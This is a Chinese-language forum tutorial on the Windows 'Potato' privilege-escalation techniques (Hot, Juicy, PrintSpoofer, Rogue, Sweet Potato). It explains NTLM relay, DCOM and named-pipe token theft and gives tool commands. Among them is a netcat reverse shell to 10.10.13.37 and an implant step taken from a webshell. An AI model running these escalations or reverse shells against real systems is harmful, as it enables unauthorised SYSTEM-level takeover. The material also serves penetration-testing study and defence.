標題:Potato 家族提權分析

taibeihacker

Moderator

Potato 家族提权分析​

1 前言​

1.1 windows 服务的登录用户​

Local System - NT AUTHORITY\SYSTEM
Network Service - NT AUTHORITY\Network Service
Local Service - NT AUTHORITY\Local Service
服務賬戶在windows 權限模型中本身就擁有很高的權限,在實際滲透過程中,拿到webshell 下,用戶權限是IIS 或者apache,或通過SQLi 執行xp_cmdshell,此時手裡的服務賬戶在進行操作時是低權限賬戶,而使用該提權手法可以直接獲取SYSTEM 權限。

1.2 前提​

利用Potato 提權(除開Hot Potato)的是前提是擁有SeImpersonatePrivilegeSeAssignPrimaryTokenPrivilege權限,以下用戶擁有SeImpersonatePrivilege權限(而只有更高權限的賬戶比如SYSTEM 才有SeAssignPrimaryTokenPrivilege 權限):
本地管理員賬戶(不包括管理員組普通賬戶)和本地服務賬戶
由SCM 啟動的服務
PS:本機測試時即使在本地策略中授予管理員組普通用戶SeImpersonatePrivilege 特權,在cmd.exe 中whoami /priv 也不顯示該特權,且無法利用;而SeAssignPrimaryTokenPrivilege 特權則可以正常授予普通用戶

1.3 Windows Token​

windows token 是描述安全上下文的對象,用戶登陸後系統就會生成token,創建新進程或新線程時這個token 會不斷拷貝。
當用戶具有SeImpersonatePrivilege特權,則可以調用CreateProcessWithTokenW以某個Token 的權限啟動新進程
當用戶具有SeAssignPrimaryTokenPrivilege特權,則可以調用CreateProcessAsUserW以Token 權限啟動新進程
具體可以參考「Windows Access Token 攻擊」文章。

2 Hot Potato​

2.1 简介​

2016 年1 月, Dominic White 發表了一篇文章,發布了一種基於NTLM 反射的權限提升攻擊方式,命名為Hot Potato。可以從主機的最低用戶權限提升至系統最高的NT\AUTHORITY SYSTEM 權限。
Hot Potato 利用著名的NTLM Relay 攻擊(HTTP - SMB)和NBNS 欺騙攻擊,獲取Windows 系統的最高權限SYSTEM。可以從主機的最低用戶權限提升至系統最高的NT\AUTHORITY SYSTEM 權限。

2.2 NBNS​

2.2.1 概念​

NBNS (Net BIOS Name Service)是Windows 系統中廣泛被使用的UDP 廣播服務,即命名查詢服務。該服務使用UDP 協議實現,可以通過發送局域網內廣播來實現本地名稱解析。
類似於TCP/IP 協議中的DNS,它負責查找目標機器相應的IP 地址,並賦予一個NetBIOS 名稱。微軟WINS 服務就是採用NBNS協議。

2.2.2 NBNS 欺骗​

系統進行一個名字查詢的邏輯如下:
首先查詢本地的hosts 文件
DNS Lookup 查詢(本地DNS cache,再向DNS 服務器請求)
NBNS 查詢
NBNS 的邏輯是向本地所有主機廣播一條消息,誰是xxx,如果誰響應了該廣播消息,誰就是xxx
在內網滲透測試時,攻擊者往往會監聽NBNS 廣播消息,並且會應答自己是xxx,這就是NBNS 欺騙;ARP欺騙是MAC 層的欺騙方式
NBNS 包有1 個2 字節的TXID 字段,必須進行請求\響應的匹配。因為是提權漏洞,所以攻擊之前沒有權限可以監聽流量。可以通過1-65535 之間進行泛洪猜測。
如果網絡中有DNS 記錄,此時就不會用到NBNS 協議;可以通過UDP 端口耗盡的攻擊技術,讓所有DNS 查詢失敗,從而必須使用NBNS 協議

2.3 WPAD 代理​

Windows 系統裡,IE 瀏覽器會自動檢測IE 代理配置信息,方式是訪問,http://wpad/wpad.dat#8221
WPAD 是不一定存在於網絡中,因為即使有DNS 服務器,也沒有必要解析WPAD,除非網絡想通過配置腳本自動配置網絡中的代理信息,這種情況很方便。
因此在hosts、DNS 查詢都不能獲取WPAD 的情況下,系統必然使用NBNS 進行名字查詢,此時可以通過NBNS 欺騙,告知自己就是WPAD 可以構造HTTP 服務器,響應HTTP http://wpad/wpad.dat#8221 查詢
20200815150545.png-water_print

通過在127.0.0.1 上構建HTTP,將查詢WPAD 的流量全部引導至本地127.0.0.1;即使低權限用戶發出的對WPAD 的NBNS 欺騙,高權限進程也會受影響,認為WPAD 就是欺騙後的結果。包括本地管理員進程和SYSTEM 進程。

2.4 HTTP - SMB NTLM Relay​

20200815150941.png-water_print

20200815151054.png-water_print

NTLM 認證對於中間人攻擊的防禦能力不強,此前針對NTLM 的重放攻擊聚焦於SMB - SMB 協議,反射攻擊訪問者的主機,獲取遠程執行權限;
微軟通過補丁封堵了SMB - SMB 協議的重放反射攻擊,但是HTTP - SMB 這種跨協議的攻擊仍然有效

2.5 攻击流程​

Hot Potato 攻擊就是結合了這幾點,實現權限提升:
NBNS 欺騙
構造本地HTTP,響應WPAD
HTTP - SMB NTLM Relay
等待高權限進程的訪問,即激活更新服務(低權限可激活)
1
2
Import-Module .\Tater.ps1
Invoke-Tater -Command 'command to execute'
20200815161221.png-water_print

20200815161322.png-water_print

工具地址:https://github.com/foxglovesec/Potato
Win7 利用- Windows Defender 更新機制
1
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true
Win Server 2008 利用- Windows Update 機制
1
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true -spoof_host WPAD.EMC.LOCAL
Win Server 2012 R2 - 自動更新機制,該機會每天下載證書信任列表(CTL)
1
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true
防護:
SMB 簽名

3 Rotten Potato JuicyPotato​

3.1 原理​

這兩種不同於初始的Potato,它是通過DCOM CALL 來使服務向攻擊者監聽的端口發起連接並進行NTLM 認證
Rotten Potato 和Juicy Potato 幾乎是同樣的原理,後者在前者的基礎上完善。
需要理解的幾個知識:
使用DCOM 時,如果以服務的方式遠程連接,那麼權限為System,例如BITS 服務
使用DCOM 可以通過TCP 連接到本機的一個端口,發起NTLM 認證,該認證可以被重放
LocalService 用戶默認具有SeImpersonate 和SeAssignPrimaryToken 權限
開啟SeImpersonate 權限後,能夠在調用CreateProcessWithToken 時,傳入新的Token 創建新的進程
開啟SeAssignPrimaryToken 權限後,能夠在調用CreateProcessAsUser 時,傳入新的Token 創建新的進程

3.2 实现流程​

加載COM,發出請求,權限為System
在指定ip 和端口的位置嘗試加載一個COM 對象
RottenPotatoNG 使用的COM 對象為BITS,CLSID 為{4991d34b-80a1-4291-83b6-3328366b9097}
可供選擇的COM 對像不唯一,Juicy Potato 提供了多個,詳細列表可參考如下地址:
回應步驟1 的請求,發起NTLM 認證
正常情況下,由於權限不足,當前權限不是System,無法認證成功
針對本地端口,同樣發起NTLM 認證,權限為當前用戶
由於權限為當前用戶,所以NTLM 認證能夠成功完成
資訊
RottenPotatoNG 使用的135 端口
Juicy Potato 支持指定任意本地端口,但是RPC 一般默認為135端口,很少被修改
分別攔截兩個NTLM 認證的數據包,替換數據,通過NTLM 重放使得步驟1(權限為System)的NTLM 認證通過,獲得System 權限的Token
重放時需要注意NTLM 認證的NTLM Server Challenge 不同,需要修正
利用System 權限的Token 創建新進程
如果開啟SeImpersonate 權限,調用CreateProcessWithToken,傳入System 權限的Token,創建的進程為System 權限
或者
如果開啟SeAssignPrimaryToken 權限,調用CreateProcessAsUser,傳入System 權限的Token,創建的進程為System 權限

3.2 实战​

工具地址:https://github.com/ohpe/juicy-potato

3.2.1 initial access​

一個iis apppool\defaultapppool 權限的webshell。
20210131160500.png-water_print

3.2.2 根据操作系统选择可用的 CLSID​

參考列表
例如測試系統Server2012,選擇CLSID 為{8BC3F05E-D86B-11D0-A075-00C04FB68820}
使用批處理調用juicypotato.exe 逐個驗證:
地址如下:
bat 腳本不需要做修改

3.2.3 提权​

上傳CS 的馬,或者反彈一個交互式的shell 回來:
20210131160423.png-water_print

利用JuicePotato 執行命令或C2 程序
20210131160439.png-water_print

4 PrintSpoofer (PipePotato or BadPotato)​

4.1 原理​

通過Windows named pipe 的一個API: ImpersonateNamedPipeClient來模擬高權限客戶端的token(還有類似的ImpersonatedLoggedOnUser,RpcImpersonateClient函數),調用該函數後會更改當前線程的安全上下文,它利用了打印機組件路徑檢查的BUG,使SYSTEM 權限服務能連接到攻擊者創建的named pipe。
spoolsv.exe 服務有一個公開的RPC 服務,裡面有以下函數:
1
2
3
4
5
6
7
DWORD RpcRemoteFindFirstPrinterChangeNotificationEx(
/* [in] */PRINTER_HANDLE hPrinter,
/* [in] */DWORD fdwFlags,
/* [in] */DWORD fdwOptions,
/* [unique][string][in] */wchar_t *pszLocalMachine,
/* [in] */DWORD dwPrinterLocal,
/* [unique][in] */RPC_V2_NOTIFY_OPTIONS *pOptions)
pszLocalMachine 參數需要傳遞UNC 路徑,傳遞\\127.0.0.1 時,服務器會訪問\\127.0.0.1\pipe\spoolss,但這個管道已經被系統註冊了,如果我們傳遞\\127.0.0.1\pipe 則因為路徑檢查而報錯
但當傳遞\\127.0.0.1/pipe/foo 時,校驗路徑時會認為127.0.0.1/pipe/foo 是主機名,隨後在連接named pipe 時會對參數做標準化,將/轉化為\,於是就會連接\\127.0.0.1\pipe\foo\pipe\spoolss,攻擊者就可以註冊這個named pipe 從而竊取client 的token。這個POC 啟動新進程是使用CreateProcessAsUser 而不是CreateProcessWithToken。

4.2 实战​

工具地址:https://github.com/itm4n/PrintSpoofer
20210131163859.gif-water_print

4.2.1 派生一个 SYSTEM 交互式 shell​

適用於當前為交互式shell 的狀態下:
1
2
3
4
5
6
7
8
9
C:\TOOLSPrintSpoofer.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening.
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19613.1000]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32whoami
nt authority\system

4.2.2 派生一个 SYSTEM 的进程​

適用於無交互式shell,但是可以命令執行,使用CS 上馬或者nc 反彈高權限shell:
1
2
3
4
C:\TOOLSPrintSpoofer.exe -c 'C:\TOOLS\nc.exe 10.10.13.37 1337 -e cmd'
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening.
[+] CreateProcessAsUser() OK

4.2.3 桌面环境下派生 SYSTEM 进程​

在本地登錄或者RDP 下,先用qwinsta 查看當前ID 號,然後利用POC:
20210131164420.png-water_print

1
2
3
4
C:\TOOLSPrintSpoofer.exe -d 3 -c 'powershell -ep bypass'
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening.
[+] CreateProcessAsUser() OK

5 RoguePotato​

5.1 原理​

這個也是利用了命名管道
微軟修補後,高版本Windows DCOM 解析器不允許OBJREF 中的DUALSTRINGARRAY 字段指定端口號。為了繞過這個限制並能做本地令牌協商,作者在一台遠程主機上的135 端口做流量轉發,將其轉回受害者本機端口,並寫了一個惡意RPC OXID 解析器。

5.2 实战​

工具地址:https://github.com/antonioCoco/RoguePotato
1
2
3
4
5
6
7
8
9
10
Mandatory args:
-r remote_ip: ip of the remote machine to use as redirector
-e commandline: commandline of the program to launch
Optional args:
-l listening_port: This will run the RogueOxidResolver locally on the specified port
-c {clsid}: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})
-p pipename_placeholder: placeholder to be used in the pipe name creation (default: RoguePotato)
-z : this flag will randomize the pipename_placeholder (don't use with -p)
20210131165110.png-water_print

6 SweetPotato​

6.1 原理​

COM/WinRM/Spoolsv 的集合版,也就是Juicy/PrintSpoofer 的集合版

6.2 实战​

工具地址:https://github.com/CCob/SweetPotato
參考:
 
返回
上方